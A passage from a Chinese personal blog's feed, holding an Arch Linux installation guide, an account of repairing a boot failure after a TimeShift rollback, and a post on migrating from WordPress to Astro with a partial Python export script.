&lt;h2&gt;1. 镜像下载和启动盘制作&lt;/h2&gt;
&lt;p&gt;Arch 官网：https://archlinux.org
中科大镜像下载： https://mirrors.ustc.edu.cn/archlinux/iso/latest/archlinux-x86_64.iso
Ventoy：https://www.ventoy.net/cn/index.html&lt;/p&gt;
&lt;h2&gt;2.开始安装&lt;/h2&gt;
&lt;h3&gt;1.引导镜像&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用Ventoy引导镜像，选择archlinux-x86_64.iso按Enter&lt;/li&gt;
&lt;li&gt;默认选项按Enter&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.禁用 reflector 服务&lt;/h3&gt;
&lt;p&gt;:::tip
现在好像已经默认禁用了 reflector 服务，可以使用&lt;code&gt;systemctl status reflector.service&lt;/code&gt;查看
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl stop reflector.service
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.连接网络&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;如果使用有限网络可以直接连接网线或者使用其他方式接入&lt;/li&gt;
&lt;li&gt;如果使用无线网络可以使用&lt;strong&gt;iwctl&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;iwctl # 进入交互式命令行
device list # 列出无线网卡设备名，比如无线网卡看到叫 wlan0
station wlan0 scan # 扫描网络
station wlan0 get-networks # 列出所有 wifi 网络
station wlan0 connect wifi-name # 进行连接，注意这里无法输入中文。回车后输入密码即可
exit # 连接成功后退出
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
此处命令取自&lt;a href=&quot;https://arch.icekylin.online/guide/rookie/basic-install.html#_3-%E8%BF%9E%E6%8E%A5%E7%BD%91%E7%BB%9C&quot;&gt;archlinux 基础安装&lt;/a&gt;
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;可以使用&lt;code&gt;ip a&lt;/code&gt; 查看 &lt;strong&gt;DHCP&lt;/strong&gt; 是否分配到&lt;em&gt;IP&lt;/em&gt;，或者使用&lt;code&gt;ping www.baidu.com&lt;/code&gt; 检查网络连通性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.更新系统时钟&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;timedatectl set-ntp true # 将系统时间与网络时间进行同步
timedatectl status # 检查服务状态
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.添加&lt;strong&gt;pacman&lt;/strong&gt; 镜像源&lt;/h3&gt;
&lt;p&gt;现在已经内置了各个国家的镜像源，可以保持默认或者手动删除保留自己想要的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/pacman.d/mirrorlist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
在&lt;strong&gt;nano&lt;/strong&gt; 编辑器下使用&lt;code&gt;CTRL+K&lt;/code&gt; 可以直接剪切一行，在这里我当快速删除用
:::&lt;/p&gt;
&lt;h3&gt;6.硬盘分区&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;/ 和/home目录 ：随心情&lt;/li&gt;
&lt;li&gt;/boot：1GB&lt;/li&gt;
&lt;li&gt;/boot/efi: 300MB / 500MB/&lt;/li&gt;
&lt;li&gt;Swap 分区：&amp;gt;= 电脑实际运行内存的 60%&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;lsblk # 显示当前分区情况

cfdisk /dev/sdx # 对安装 archlinux 的磁盘分区
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这里以一台内存8G 硬盘256G SATA举例&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分区&lt;/th&gt;
&lt;th&gt;大小&lt;/th&gt;
&lt;th&gt;文件类型&lt;/th&gt;
&lt;th&gt;位置&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EFI&lt;/td&gt;
&lt;td&gt;300MB&lt;/td&gt;
&lt;td&gt;EFI System&lt;/td&gt;
&lt;td&gt;/dev/sda1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boot&lt;/td&gt;
&lt;td&gt;1GB&lt;/td&gt;
&lt;td&gt;Linux filesystem&lt;/td&gt;
&lt;td&gt;/dev/sda2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Swap&lt;/td&gt;
&lt;td&gt;8GB&lt;/td&gt;
&lt;td&gt;Linux swap&lt;/td&gt;
&lt;td&gt;/dev/sda3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DATA&lt;/td&gt;
&lt;td&gt;剩下所有&lt;/td&gt;
&lt;td&gt;Linux filesystem&lt;/td&gt;
&lt;td&gt;/dev/sda4&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;7.格式化分区&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;lsblk # 复查磁盘情况

mkfs.fat -F32 /dev/sda1 # 格式化efi分区

mkfs.ext4  /dev/sda2 # 格式哈boot分区

mkswap /dev/sda3 # 格式化 Swap 分区

mkfs.btrfs -L Arch /dev/sda4 # 格式化 DATA 分区

mount -t btrfs -o compress=zstd /dev/sda4 /mnt # 挂载DATA分区

btrfs subvolume create /mnt/@ # 创建 / 目录子卷
btrfs subvolume create /mnt/@home # 创建 /home 目录子卷

umount /mnt # 卸载

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;8.挂载分区&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;
mount -t btrfs -o subvol=/@,compress=zstd /dev/sda4 /mnt # 挂载 / 目录
mkdir /mnt/home # 创建 /home 目录
mount -t btrfs -o subvol=/@home,compress=zstd /dev/sda4 /mnt/home # 挂载 /home 目录
mkdir -p /mnt/boot # 创建 /boot 目录
mount /dev/sda2 /mnt/boot # 挂载 /boot 目录
mkdir -p /mnt/boot/efi # 创建 /boot/efi 目录
mount /dev/sda1 /mnt/boot/efi # 挂载 /boot 目录
swapon /dev/sda3 # 挂载交换分区


&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9.安装基础包和功能包&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pacstrap /mnt base base-devel linux linux-firmware btrfs-progs

pacstrap /mnt networkmanager nano sudo zsh zsh-completions
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;10.生成 fstab 文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;genfstab -U /mnt &amp;gt; /mnt/etc/fstab
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;11.使用arch-chroot 切换系统并配置系统&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;arch-chroot /mnt

echo  &quot;主机名&quot; &amp;gt; /etc/hostname # 设置主机名
nano  /etc/hosts # 添加 127.0.1.1   主机名.localdomain 主机名
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime # 设置上海时区

hwclock --systohc #设置硬件时间

nano /etc/locale.gen # 去掉 en_US.UTF-8 UTF-8 以及 zh_CN.UTF-8 UTF-8 行前的注释
locale-gen
echo &apos;LANG=en_US.UTF-8&apos;  &amp;gt; /etc/locale.conf

passwd root # 设置root密码

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;12.安装微码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pacman -S intel-ucode # Intel
pacman -S amd-ucode # AMD
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;13.安装引导程序&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pacman -S grub efibootmgr os-prober 

grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=ArchLinux

nano /etc/default/grub # 将 GRUB_CMDLINE_LINUX_DEFAULT 一行中最后的 quiet 参数 修改为nowatchdog ，loglevel 3 改成5 输出更详细的日志

grub-mkconfig -o /boot/grub/grub.cfg


&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;14.完成基本安装&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;exit # 退回安装环境
umount -R /mnt # 卸载新分区
reboot # 重启
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;15 添加非root用户&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;useradd -m -G wheel -s /bin/bash myusername
passwd myusername

EDITOR=nano visudo  # 去掉%wheel ALL=(ALL:ALL) ALL的注释
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;16.开启 32 位支持库与 Arch Linux 中文社区仓库（archlinuxcn）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/pacman.conf # 去掉[multilib] 两行的注释

# 并添加镜像源
[archlinuxcn]
Server = https://mirrors.ustc.edu.cn/archlinuxcn/$arch # 中国科学技术大学开源镜像站


pacman -Syyu # 更新
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;17.安装简化的GNOME&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pacman -S gnome-shell gdm gnome-console nautilus gnome-control-center gnome-tweaks xdg-user-dirs-gtk gnome-keyring
pacman -S extension-manager noto-fonts-cjk noto-fonts-emoji

sudo pacman -S gnome-weather # GNOME官方天气

sudo pacman -S gnome-calendar #GNOME官方计算器

systemctl enable --now gdm # 启动桌面
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;18.安装输入法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -S fcitx5-im fcitx5-chinese-addons fcitx5-material-color 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;19.安装快照管理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -S timeshift 
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>记一次Arch救援经历</title><link>https://blog.fiveqm.com/archives/arch_re/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/arch_re/</guid><description>记一次Arch使用TimeShift回滚因Kernel版本不一致导致的在启动时/boot/efi 无法挂载的救援经历</description><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1.起因&lt;/h1&gt;
&lt;p&gt;在&lt;em&gt;Arch&lt;/em&gt; 上想使用O+connect 但是官方只有&lt;em&gt;Windows&lt;/em&gt; 和 &lt;em&gt;MacOS&lt;/em&gt; ，于是我就想使用&lt;strong&gt;Wine&lt;/strong&gt;去兼容发现底层的&lt;em&gt;USB协议&lt;/em&gt;和&lt;em&gt;网络协议&lt;/em&gt;无法兼容，安装了很多东西不想使用 &lt;code&gt;pacman -Rns&lt;/code&gt; , 故使用&lt;strong&gt;TimeShift&lt;/strong&gt; 回滚快照，但是由于当前环境的&lt;em&gt;Kernel版本&lt;/em&gt; 与快照 版本的 &lt;em&gt;Kernel版本&lt;/em&gt; 有较大的版本更新，故导致本次事故的发生。&lt;/p&gt;
&lt;h1&gt;2.问题查找&lt;/h1&gt;
&lt;p&gt;在论坛中找到了几篇篇文章&amp;lt;br&amp;gt;
&lt;a href=&quot;https://forum.archlinuxcn.org/t/topic/14798&quot;&gt;timeshift恢复快照出现/boot分区挂载不上&lt;/a&gt;&amp;lt;br&amp;gt;
&lt;a href=&quot;https://forum.archlinuxcn.org/t/topic/13701&quot;&gt;系统无法启动，提示挂载boot分区失败&lt;/a&gt;&amp;lt;br&amp;gt;
&lt;a href=&quot;https://forum.archlinuxcn.org/t/topic/15861&quot;&gt;请问这种情况是滚挂了吗？&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;3.解决方案&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;使用U盘或者其他存储介质引导进入Arch Linux 的 Live&lt;/li&gt;
&lt;li&gt;正常挂载 根分区 , home 分区 ，boot 分区 ，efi 分区 ，无需挂载swap分区&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 1. 挂载根分区 (sda4)
mount -o subvol=@ /dev/sda4 /mnt

# 2. 挂载 /boot 分区 (sda3) 
mount /dev/sda3 /mnt/boot

# 3. 挂载 EFI 分区 (sda1) 
mkdir -p /mnt/boot/efi
mount /dev/sda1 /mnt/boot/efi

# 4. 切入系统
arch-chroot /mnt

# 5. 重装内核 (这一步会同时刷新 vmlinuz 和 modules，彻底解决不匹配)
pacman -S linux
# (如果你用的是 LTS 内核，改用 pacman -S linux-lts)

# 6. 顺手刷新引导 (防止 UUID 变动)
grub-mkconfig -o /boot/grub/grub.cfg
#  把 GRUB 重新写进 sda1 (防止 EFI 文件丢失)
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=Arch
# 7.重启
exit
reboot
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>从 WordPress 迁移到 Astro （我的成长与变化）</title><link>https://blog.fiveqm.com/archives/wordpresstoastor/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/wordpresstoastor/</guid><description>这一路的成长与变化</description><pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;(开始的开始我们都是孩子~ 最后的最后渴望变成天使~)&lt;/p&gt;
&lt;h1&gt;开始的开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;初中时就想写Code玩服务器，上大学就开始搞这些东西了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;开始的开始之WordPress&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;之前刚接触服务器就跟着网上的教程搭建博客。&amp;lt;br&amp;gt;
网上很多关于wordpress建站建站的教程，确实很适合新手小白&amp;lt;br&amp;gt;当时也尝试过github的静态页面，当时不懂Git，也不懂NodeJS这种Javascript Runtime，甚至连数组都不会操作，只会 &lt;code&gt;cout&amp;lt;&amp;lt;&quot;hello world&quot;&amp;lt;&amp;lt;endl;&lt;/code&gt;&amp;lt;br&amp;gt;
所以就选择了WordPress，在一个1C1G的VPS开始了我的从零开始的WorldPress生活&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;我与WordPrss的爱恨情仇与成长路径&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;其实最开始我连域名都没有直接使用 &lt;code&gt;IP:PORT&lt;/code&gt; 裸奔&lt;/li&gt;
&lt;li&gt;当时使用的还是&lt;strong&gt;宝塔&lt;/strong&gt;，但其实宝塔没有多长时间就用了4-5个月大概，后边就换成&lt;strong&gt;1panel&lt;/strong&gt;了&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;对了，大家离开自己的电脑一定要锁屏，我当时就被人用自己的Shell上了一个PHP一句话木马，也算是被人近源渗透了QAQ&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;后面购买了域名发现域名解析到国内服务器的 &lt;strong&gt;80&lt;/strong&gt; &lt;strong&gt;443&lt;/strong&gt; 端口需要备案&lt;/li&gt;
&lt;li&gt;不想备案就更换了国外的VPS，使用&lt;strong&gt;Cloudflare&lt;/strong&gt;的&lt;strong&gt;CDN&lt;/strong&gt;回源&lt;/li&gt;
&lt;li&gt;后面也迁移过，同时也经历过&lt;strong&gt;WebServer&lt;/strong&gt;服务提供商跑路，但是此时一直都是&lt;strong&gt;CF HTTP&lt;/strong&gt;回源&lt;/li&gt;
&lt;li&gt;其实这时候还不知道为什么要使用&lt;strong&gt;HTTPS&lt;/strong&gt;、什么是&lt;strong&gt;SSL&lt;/strong&gt;、什么是&lt;strong&gt;Cert&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;其实也使用过一些PHP网页托管的项目，发现免费的就是最贵的，而且那些托管的面板也很难用，硬盘空间给的也很少静态资源大一些的网页需要做静态资源外链，在这之前也自建过图床（后面懒得维护了就直接Delete了）&lt;/li&gt;
&lt;li&gt;其实还部署过&lt;strong&gt;雷池WAF&lt;/strong&gt;和&lt;strong&gt;蜜罐&lt;/strong&gt;后来觉得，就一个简单的博客没必要就下了&lt;/li&gt;
&lt;li&gt;其实换了&lt;strong&gt;1panel&lt;/strong&gt;也算是强制性入门&lt;strong&gt;Docker&lt;/strong&gt;了&lt;/li&gt;
&lt;li&gt;我记得应该是这个时间段应该是买了一台&lt;code&gt;浪潮NF5280M4&lt;/code&gt;+&lt;code&gt;玩客云&lt;/code&gt;，也开始了&lt;code&gt;FRP+Tailscale+WireGuard&lt;/code&gt;的组合，但是后来发现Frp的效率太低了就把&lt;strong&gt;Frp&lt;/strong&gt;去掉了，主力&lt;strong&gt;Tailscale&lt;/strong&gt;备用&lt;strong&gt;WireGuard&lt;/strong&gt;，后也发现经常Tailscale打不通会走官方通提供的Derp服务器，也自建过Derp服务器，后来发现不如直接&lt;strong&gt;FOFA&lt;/strong&gt;梭哈&lt;/li&gt;
&lt;li&gt;简单用了一段时间pve&lt;/li&gt;
&lt;li&gt;后来就是用&lt;code&gt;Vue3+SpringBoot3+PostgreSwQL&lt;/code&gt;写了一个博客的CMS写了快两个月，写完发现是一坨也没有启用，还是继续用WordPress&lt;/li&gt;
&lt;li&gt;我应该是这段时间换成HTTPS回源的&lt;/li&gt;
&lt;li&gt;突然就开始搞&lt;code&gt;QQBot&lt;/code&gt;和&lt;code&gt;K8s&lt;/code&gt;了，应该是为了准备办下一年的比赛，玩了Ollama Napcat GZCTF，其实当时看不懂K8s的部署文档和教程然后部署的K3s&lt;/li&gt;
&lt;li&gt;我应该是这个时间把&lt;strong&gt;pve&lt;/strong&gt;换成了&lt;code&gt;ESXI7&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Half a year later&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;然后开了几台虚拟机玩了玩MC的Paper服务器&lt;/li&gt;
&lt;li&gt;然后在帮朋友(@&lt;a href=&quot;https://blog.qianjunakasumi.moe/&quot;&gt;&lt;em&gt;qianjunasukami&lt;/em&gt;&lt;/a&gt;)搞&lt;strong&gt;K8S&lt;/strong&gt;集群我部署了&lt;em&gt;Dify、n8n、HelmDashBoard、ArgoCD&lt;/em&gt;应该就这些，我记不清了，K8S真的好难，也不太敢上手，虽然K8S的容灾和自我修复能力很强&lt;/li&gt;
&lt;li&gt;应该是这段时间，我自己复现训练了一个基于维基18年之前的中文数据的GPT模型，AI东西更是难上加难&lt;/li&gt;
&lt;li&gt;还是这段时间，我创建了三个虚拟机搭建了自己的K8S集群(一个Agent+两个Workers)，也部署了单节点，对应文章&lt;a href=&quot;https://blog.fiveqm.com/archives/448/&quot;&gt;Debain12 部署Kubernetes 1.32.5 单节点 教程&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;又双叒叕的这段时间，尝试了Cloudint,对应文章&lt;a href=&quot;https://blog.fiveqm.com/archives/509/&quot;&gt;Cloud-init ESXi 尝试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在就是这段时间从 WordPress 迁移到 Astro 和将ESXI7更换成了PVE9.1 并且部署了Ceph集群
YakumoRan
在这里感谢陪我走过这些旅途的@&lt;a href=&quot;https://blog.qianjunakasumi.moe/&quot;&gt;qianjunasukami&lt;/a&gt;、@&lt;a href=&quot;https://blog.yakumoran.top/&quot;&gt;YakumoRan&lt;/a&gt;、@&lt;a href=&quot;https://rerizon.cn/&quot;&gt;Yi&lt;/a&gt; 和其他无名客，原此行终抵群星。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;为什么从 WordPress 迁移到 Astro？&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;之所以为什么从WordPress迁移到 Astro 懒得迁移静态资源和数据库，我是个经常换服务器的人，虽然都备份在Cloudflare的R2上，但是每次迁移还是怪麻烦的&amp;lt;br&amp;gt;
WordPress的新编辑器，在Https下而且是CDN回源的情况下有问题，需要手动需改config.php 还是 settings.php ，并且我现在习惯写markdown了&amp;lt;br&amp;gt;
主要是这样就能绿自己的github墙了, 哈哈哈
其实也尝试过朋友使用的Hugo但是go的template语法我真的不会
选择fuwari我只是觉得比较符合我的风格&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;迁移脚本&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;用AI写的, 说实话写的比较粗糙但是够用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;#安装库
pip install python-wordpress-xmlrpc python-frontmatter html2text requests

#使用方法
#命令行参数（推荐）

python wp2fuwari.py \

  --url https://your-blog.com \

  --user your-username \

  --pass your-password \

  --author your-name \

  --output fuwari-export
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;可选参数&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;参数&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;--url&lt;/td&gt;
&lt;td&gt;WordPress 站点 URL&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://blog.example.com&quot;&gt;https://blog.example.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--user&lt;/td&gt;
&lt;td&gt;用户名&lt;/td&gt;
&lt;td&gt;admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--pass&lt;/td&gt;
&lt;td&gt;密码&lt;/td&gt;
&lt;td&gt;secret&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--author&lt;/td&gt;
&lt;td&gt;作者名&lt;/td&gt;
&lt;td&gt;John Doe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--output&lt;/td&gt;
&lt;td&gt;输出目录&lt;/td&gt;
&lt;td&gt;fuwari-export&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--no-images&lt;/td&gt;
&lt;td&gt;不下载图片&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;导入到 Fuwari

# 复制文章

cp -r fuwari-export/posts/* fuwari/src/content/posts/

# 复制图片

cp -r fuwari-export/images/* fuwari/public/images/

# 构建项目

cd fuwari

pnpm build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;p&gt;Q: XML-RPC 连接失败？&lt;/p&gt;
&lt;p&gt;确保 WordPress 后台设置 &amp;gt; 撰写中已启用 XML-RPC。&lt;/p&gt;
&lt;p&gt;Q: 图片下载失败？&lt;/p&gt;
&lt;p&gt;检查 failed_images.txt，脚本会自动处理 base64 编码的图片。&lt;/p&gt;
&lt;p&gt;Q: 格式转换不完美？&lt;/p&gt;
&lt;p&gt;建议先迁移一小部分文章测试，根据结果调整清理规则。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

# wp2fuwari.py - WordPress 迁移到 Fuwari 完整脚本

# ==================== Python 3.10+ 兼容性补丁 ====================

import collections

import collections.abc

# 修复废弃的 collections 导入

for attr in (&apos;Iterable&apos;, &apos;Iterator&apos;, &apos;Mapping&apos;, &apos;MutableMapping&apos;,

             &apos;Sequence&apos;, &apos;MutableSequence&apos;, &apos;Callable&apos;):

    if not hasattr(collections, attr):

        setattr(collections, attr, getattr(collections.abc, attr))

# ==================== 正常导入 ====================

from wordpress_xmlrpc import Client

from wordpress_xmlrpc.methods.posts import GetPosts

import frontmatter

import os

import re

import sys

import argparse

from html2text import HTML2Text

from datetime import datetime

import urllib.parse

import requests

import html

# ==================== 配置 ====================

class Config:

    WP_URL = &apos;&apos;  # 例如: https://blog.example.com

    WP_USER = &apos;&apos;

    WP_PASS = &apos;&apos;

    OUTPUT_DIR = &apos;fuwari-export&apos;

    POSTS_DIR = f&apos;{OUTPUT_DIR}/posts&apos;

    IMAGES_DIR = f&apos;{OUTPUT_DIR}/images&apos;

    # 下载设置

    DOWNLOAD_IMAGES = True

    TIMEOUT = 30

    RETRY = 3

    # 作者名 - 修改这里的默认值

    AUTHOR = &apos;your-name&apos;  # ← 修改为你想要的默认作者名

# ==================== 工具函数 ====================

def clean_slug(title):

    &quot;&quot;&quot;生成干净的 URL slug&quot;&quot;&quot;

    slug = re.sub(r&apos;[^\w\s-]&apos;, &apos;&apos;, title).strip().lower()

    slug = re.sub(r&apos;[-\s]+&apos;, &apos;-&apos;, slug)

    return slug[:50]

def clean_wp_tags(text):

    &quot;&quot;&quot;清理 WordPress Gutenberg 块标记&quot;&quot;&quot;

    # 移除块注释标签

    text = re.sub(r&apos;&amp;lt;--\s*wp:\w+(\s+[^&amp;gt;]*)?\s*--&amp;gt;&apos;, &apos;&apos;, text)

    text = re.sub(r&apos;&amp;lt;--\s*/wp:\w+\s*--&amp;gt;&apos;, &apos;&apos;, text)

    # 移除 HTML 注释

    text = re.sub(r&apos;&amp;lt;!--.*?--&amp;gt;&apos;, &apos;&apos;, text, flags=re.DOTALL)

    # 移除 WordPress Gutenberg 块类名

    text = re.sub(r&apos;\s*class=&quot;wp-block[^&quot;]*&quot;&apos;, &apos;&apos;, text)

    text = re.sub(r&apos;\s*class=&quot;size-[^&quot;]*&quot;&apos;, &apos;&apos;, text)

    return text

def extract_description(content, excerpt, max_len=150):

    &quot;&quot;&quot;提取描述 - 去除所有 HTML 标签，返回双引号包裹的文本&quot;&quot;&quot;

    # 首先清理 WordPress 块标记

    content = clean_wp_tags(content)

    excerpt = clean_wp_tags(excerpt) if excerpt else excerpt

    def clean_html(text):

        &quot;&quot;&quot;去除所有 HTML 标签和实体&quot;&quot;&quot;

        # 移除 HTML 标签

        text = re.sub(r&apos;&amp;lt;[^&amp;gt;]+&amp;gt;&apos;, &apos;&apos;, text)

        # 解码 HTML 实体

        text = html.unescape(text)

        # 清理多余空白

        text = re.sub(r&apos;\s+&apos;, &apos; &apos;, text).strip()

        return text

    if excerpt and len(excerpt.strip()) &amp;gt; 10:

        text = clean_html(excerpt)

        desc = text[:max_len] + (&apos;...&apos; if len(text) &amp;gt; max_len else &apos;&apos;)

        return desc

    text = clean_html(content)

    text = re.sub(r&apos;[#*`!\[\]\(\)]&apos;, &apos;&apos;, text)

    desc = text[:max_len] + (&apos;...&apos; if len(text) &amp;gt; max_len else &apos;&apos;)

    return desc

def ensure_dirs():

    &quot;&quot;&quot;创建输出目录&quot;&quot;&quot;

    os.makedirs(Config.POSTS_DIR, exist_ok=True)

    os.makedirs(Config.IMAGES_DIR, exist_ok=True)

def init_html2text():

    &quot;&quot;&quot;配置 HTML2Text&quot;&quot;&quot;

    h = HTML2Text()

    h.body_width = 0

    h.ignore_links = False

    h.ignore_images = False

    h.wrap_links = False

    h.ignore_tables = False

    h.skip_internal_links = False

    h.inline_links = True

    h.protect_links = True

    h.wrap_list_items = False

    h.include_sup_sub = True

    return h

# ==================== 图片处理 ====================

class ImageDownloader:

    def __init__(self):

        self.session = requests.Session()

        self.session.headers.update({

            &apos;User-Agent&apos;: &apos;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36&apos;

        })

        self.downloaded = set()

        self.failed = []

    def extract_images(self, md_content, post_date):

        &quot;&quot;&quot;提取并替换图片路径&quot;&quot;&quot;

        cover_candidate = &apos;&apos;

        image_map = {}

        def replace_image(match):

            nonlocal cover_candidate

            alt_text = match.group(1)

            img_url = urllib.parse.unquote(match.group(2))

            # 解析文件名

            parsed = urllib.parse.urlparse(img_url)

            orig_filename = os.path.basename(parsed.path) or &apos;image.jpg&apos;

            # 清理文件名

            clean_name = re.sub(r&apos;[^\w.\-]&apos;, &apos;_&apos;, orig_filename)

            if &apos;.&apos; not in clean_name:

                clean_name += &apos;.jpg&apos;

            # 添加日期前缀

            date_prefix = post_date.strftime(&apos;%Y%m%d&apos;)

            new_filename = f&apos;{date_prefix}_{clean_name}&apos;

            new_path = f&apos;/images/{new_filename}&apos;

            # 记录映射: 原始URL -&amp;gt; 本地文件名

            image_map[img_url] = new_filename

            # 设置封面候选

            exts = [&apos;.jpg&apos;, &apos;.jpeg&apos;, &apos;.png&apos;, &apos;.webp&apos;, &apos;.gif&apos;]

            if not cover_candidate and any(ext in clean_name.lower() for ext in exts):

                cover_candidate = new_path

            return f&apos;![{alt_text}]({new_path})&apos;

        new_content = re.sub(r&apos;!\[(.*?)\]\((.*?)\)&apos;, replace_image, md_content)

        return new_content, cover_candidate, image_map

    def download(self, image_map, post_date):

        &quot;&quot;&quot;下载所有图片&quot;&quot;&quot;

        if not Config.DOWNLOAD_IMAGES or not image_map:

            return

        # 从日期生成可能的 WordPress 上传路径

        year = post_date.strftime(&apos;%Y&apos;)

        month = post_date.strftime(&apos;%m&apos;)

        date_str = post_date.strftime(&apos;%Y%m%d&apos;)

        for orig_url, filename in image_map.items():

            if filename in self.downloaded:

                continue

            # 构建可能的 URL 列表

            urls_to_try = []

            # 如果 orig_url 是绝对 URL，优先使用

            if orig_url.startswith(&apos;http&apos;):

                urls_to_try.append(orig_url)

            # WordPress 标准上传路径

            base_url = Config.WP_URL.rstrip(&apos;/&apos;)

            # 移除日期前缀获取原始文件名

            orig_name = filename.replace(f&apos;{date_str}_&apos;, &apos;&apos;)

            urls_to_try.extend([

                f&quot;{base_url}/wp-content/uploads/{filename}&quot;,

                f&quot;{base_url}/wp-content/uploads/{year}/{month}/{orig_name}&quot;,

                f&quot;{base_url}/wp-content/uploads/{year}/{orig_name}&quot;,

            ])

            # 尝试下载

            saved = False

            for url in urls_to_try:

                try:

